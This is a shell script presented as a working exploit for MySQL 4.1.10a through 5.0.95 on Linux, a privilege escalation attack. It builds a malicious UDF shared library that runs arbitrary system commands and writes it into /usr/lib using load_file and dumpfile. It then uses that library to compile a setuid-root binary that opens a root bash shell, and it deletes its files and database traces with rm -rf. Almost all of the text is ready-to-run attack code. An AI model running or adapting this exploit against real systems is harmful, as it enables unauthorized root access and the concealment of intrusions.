#!/bin/sh

# Exploit Title: MySQL 4.1.10a <= 5.0.95 UDF exploit
# Date: 2017-05-14
# Exploit Author: _amonsec 
# Contact: https://twitter.com/_amonsecTHS
# Category: Privilege Escalation
# Platform: Linux
# Version: MySQL 4.1.10a <= 5.0.95
# Tested on: CentOS 5.4 (final)
#
# Requirements:
#		GCC
#		MySQL installed (lul)
# 		MySQL user as root (user=root in /etc/my.cnf)
#		MySQL datadire usable by the root user
#
#
# To potentially modify:
#		Ligne 110 -->	change '/bin/bash' with the wanted shell version
#		Ligne 98/128/129 -->  change the output path with an usable one


#						THE COLORZ
########################################################################
STD=$(echo -e "\e[0;0;0m")		#Revert fonts to standard colour/format
RED=$(echo -e "\e[1;31m")		#Alter fonts to red bold
ORN=$(echo -e "\e[1;33m")		#Alter fonts to orange bold
BLU=$(echo -e "\e[1;36m")		#Alter fonts to blue bold
#

echo ""
echo $BLU"[*]$STD Author: _amonsec"
echo $BLU"[*]$STD MySQL 4.1.10a <= 5.0.95 UDF exploit"
echo $BLU"[*]$STD Thanks: Top-Hat-Sec & H4v0k & Ch3rn0byl"
echo ""

if ( ! touch test.txt 2> /dev/null ) ; then
	echo "$RED[!]$STD You need to be in a writable place"
	exit 2
fi

rm test.txt >/dev/null
ACTUAL_PATH=$(pwd)

echo "$BLU[*]$STD Create the exploit C code"
echo "#include <stdio.h>" >  mysql_exploit.c
echo "#include <stdlib.h>" >> mysql_exploit.c
echo "enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};" >> mysql_exploit.c
echo "" >> mysql_exploit.c
echo "typedef struct st_udf_args {" >> mysql_exploit.c
echo "unsigned int arg_count;" >> mysql_exploit.c
echo "enum Item_result *arg_type;" >> mysql_exploit.c
echo "char **args;" >> mysql_exploit.c
echo "unsigned long *lengths;" >> mysql_exploit.c
echo "char *maybe_null;" >> mysql_exploit.c
echo "} UDF_ARGS;" >> mysql_exploit.c
echo "" >> mysql_exploit.c
echo "typedef struct st_udf_init {" >> mysql_exploit.c
echo "char maybe_null;" >> mysql_exploit.c
echo "unsigned int decimals;" >> mysql_exploit.c
echo "unsigned long max_length;" >> mysql_exploit.c
echo "char *ptr;" >> mysql_exploit.c
echo "char const_item;"	>> mysql_exploit.c
echo "} UDF_INIT;" >> mysql_exploit.c
echo "" >> mysql_exploit.c
echo "int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {" >> mysql_exploit.c
echo "if (args->arg_count != 1)" >> mysql_exploit.c
echo "return(0);" >> mysql_exploit.c
echo "" >> mysql_exploit.c
echo "system(args->args[0]);" >> mysql_exploit.c
echo "" >> mysql_exploit.c
echo "return(0);" >> mysql_exploit.c
echo "}" >> mysql_exploit.c
echo "char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {" >> mysql_exploit.c
echo "return(0);" >> mysql_exploit.c
echo "}" >> mysql_exploit.c
echo "" >> mysql_exploit.c

echo "$BLU[*]$STD Compile the C exploit"
gcc -g -c mysql_exploit.c 

echo "$BLU[*]$STD Create the shared object"
gcc -g -shared -W1,-soname,mysql_exploit.so -o mysql_exploit.so mysql_exploit.o -lc 

echo "$BLU[*]$STD Create the setuid C file"
echo "#include <stdio.h>" > setuid.c
echo "#include <sys/types.h>" >> setuid.c
echo "#include <unistd.h>" >> setuid.c
echo "#include <stdlib.h>" >> setuid.c
echo "" >> setuid.c
echo "#define RED \"\033[1m\033[31m\"" >> setuid.c
echo "#define GRN \"\033[1m\033[32m\"" >> setuid.c
echo "#define BLU \"\033[1m\033[36m\"" >> setuid.c
echo "#define RESET \"\033[0m\"" >> setuid.c
echo "" >> setuid.c
echo "#define R_MYSQL_TABLE \"mysql -u root -e 'drop table mysql.rekt;'\"" >> setuid.c
echo "#define R_MYSQL_FUNC \"mysql -u root -e 'drop function do_system;'\"" >> setuid.c
echo "#define R_FILES \"rm -rf $ACTUAL_PATH/* /usr/lib/mysql_exploit.so /tmp/setuid\"" >> setuid.c
echo "" >> setuid.c
echo "int main(void) {" >> setuid.c
echo "setuid(0);" >> setuid.c
echo "setgid(0);" >> setuid.c
echo "if (geteuid() == 0) {" >> setuid.c
echo "printf(\"%s[+]%s Braaaaaaaaah you are root\n\", GRN, RESET);" >> setuid.c
echo "printf(\"%s[*]%s Removing MySQL table\n\", BLU, RESET);" >> setuid.c
echo "system(R_MYSQL_TABLE);" >> setuid.c
echo "printf(\"%s[*]%s Removing MySQL function\n\", BLU, RESET);" >> setuid.c
echo "system(R_MYSQL_FUNC);" >> setuid.c
echo "printf(\"%s[*]%s Removing files\n\n\", BLU, RESET);" >> setuid.c
echo "system(R_FILES);" >> setuid.c
echo "system(\"/bin/bash\");" >> setuid.c
echo "} else {" >> setuid.c
echo "printf(\"%s[!]%s Ouuups something goes wrong\n\", RED, RESET);" >> setuid.c
echo "printf(\"%s[*]%s Removing MySQL table\n\", BLU, RESET);" >> setuid.c
echo "system(R_MYSQL_TABLE);" >> setuid.c
echo "printf(\"%s[*]%s Removing MySQL function\n\", BLU, RESET);" >> setuid.c
echo "system(R_MYSQL_FUNC);" >> setuid.c
echo "}" >> setuid.c
echo "}" >> setuid.c

echo "$BLU[*]$STD Create the SQL file"
echo "use mysql;" >  commands.sql
echo "create table rekt(line blob);" >> commands.sql
echo "insert into rekt values(load_file('$ACTUAL_PATH/mysql_exploit.so'));" >> commands.sql
echo "select * from rekt into dumpfile '/usr/lib/mysql_exploit.so';" >> commands.sql
echo "select * from mysql.func;" >> commands.sql
echo "create function do_system returns integer soname 'mysql_exploit.so';" >> commands.sql
echo "select do_system('gcc -o /tmp/setuid $ACTUAL_PATH/setuid.c');" >> commands.sql
echo "select do_system('chmod u+s /tmp/setuid');" >> commands.sql

echo "$BLU[*]$STD Start the SQL's commands"
mysql -u root  < commands.sql

echo ""
echo "$BLU[*]$STD The moment of truth"
/tmp/setuid